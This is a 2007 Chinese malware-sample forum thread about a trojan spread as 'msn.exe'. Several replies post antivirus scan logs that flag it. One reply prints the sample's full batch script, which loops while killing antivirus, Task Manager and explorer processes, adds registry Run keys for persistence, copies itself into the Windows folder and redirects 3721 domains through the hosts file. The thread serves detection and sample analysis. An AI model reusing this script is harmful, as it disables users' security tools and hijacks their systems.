嘻嘻，好东西大家帮顶，最新MSN病毒

薄一波

[:01:]

[ 本帖最后由 薄一波 于 2007-4-15 15:38 编辑 ]

金剑

风暴胜者V2 测试版本(http://www.v0day.com)
_________您的安全是我们的责任_______________
载入病毒库…进行整理…分配内存…可以使用

===============================================
   ___________病毒查杀结果__________________

===============================================
2007年4月15日15时43分28秒 开始查杀C:\Documents and Settings\Administrator\桌面\新建文件夹\msn
  未知的木马病毒(启发)C:\Documents and Settings\Administrator\桌面\新建文件夹\msn\msn.EXE 操作:阻止运行
=========================================
_________文件性质分析结果________________
"带壳"仅指文件性质,仅供专业人员分析使用。

-----------------------------------------
2007年4月15日15时43分29秒收起线程…100% 查杀完毕！
扫描文件：1查杀病毒：1

[ 本帖最后由 金剑 于 2007-4-15 15:43 编辑 ]

薄一波

样本已经补上了

小邪邪

最近mcafee启发得比较厉害：msn.EXE—New Malware.w(特洛伊)

scottxzt

Starting the file scan:
Begin scan in 'D:\Documents and Settings\dell\桌面\msn.rar'
D:\Documents and Settings\dell\桌面\msn.rar
  [0] Archive type: RAR
  --> msn.EXE
      [DETECTION] Is the Trojan horse TR/Crypt.NSAnti.Gen
      [INFO]      The file was deleted!

promised

BETA蜘蛛挂。。。。。。。。。

Nblock

微点k.0

@echo off
:1
taskkill /f  /t /im taskmgr.exe
taskkill /f  /t /im IEXPLORE.exe
taskkill /f /t /im ravmond.exe
taskkill /f /t /im ravmon.exe
taskkill /f /t /im ravstub.exe
taskkill /f /t /im ravtask.exe
taskkill /f /t /im kav.exe
taskkill /f /t /im kavscr.exe
taskkill /f /t /im kv.exe
taskkill /f /t /im kvself.exe
taskkill /f /t /im nod32krn.exe
taskkill /f /t /im nod32kui.exe
taskkill /f /t /im qq.exe
taskkill /f /t /im ttplayer.exe
taskkill /f /t /im explorer.exe
@echo Windows Registry Editor Version 5.00>>c:\text.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>c:\text.reg
@echo "MM"="C:\\windows\\msn.exe">>c:\text.reg
@echo "vbs"="C:\\windows\\msn.vbs">>c:\text.reg
reg import C:\text.reg
del c:\text.reg
copy msn.exe C:\windows
@echo lwn.wy8.net       3721.com>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       3721.net>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       cnsmin.3721.com>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       cnsmin.3721.net>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       download.3721.com>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       download.3721.net>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       www.3721.com>>%SystemRoot%\system32\drivers\etc\hosts
@echo lwn.wy8.net       www.3721.net>>%SystemRoot%\system32\drivers\etc\hosts
@echo Msgbox "小样，你死定了!",vbInformation,"Hello">>c:\windows\msn.vbs
@echo Msgbox "这是一个死循环!祝你好运^_^",vbInformation,"注意">>c:\windows\msn.vbs
@echo Msgbox "你是不是很后悔?哈哈!没办法啦!除非你重启!",vbInformation,"死定了">>c:\windows\msn.vbs
c:\windows\msn.vbs
goto 1

[ 本帖最后由 Nblock 于 2007-4-15 16:52 编辑 ]

solcroft

批处理文件里找不到format命令？我这里也没出现地个硬盘的现象

The EQs

这种东西偶早上就上报了。。。。

欠妳緈諨

avast!拦截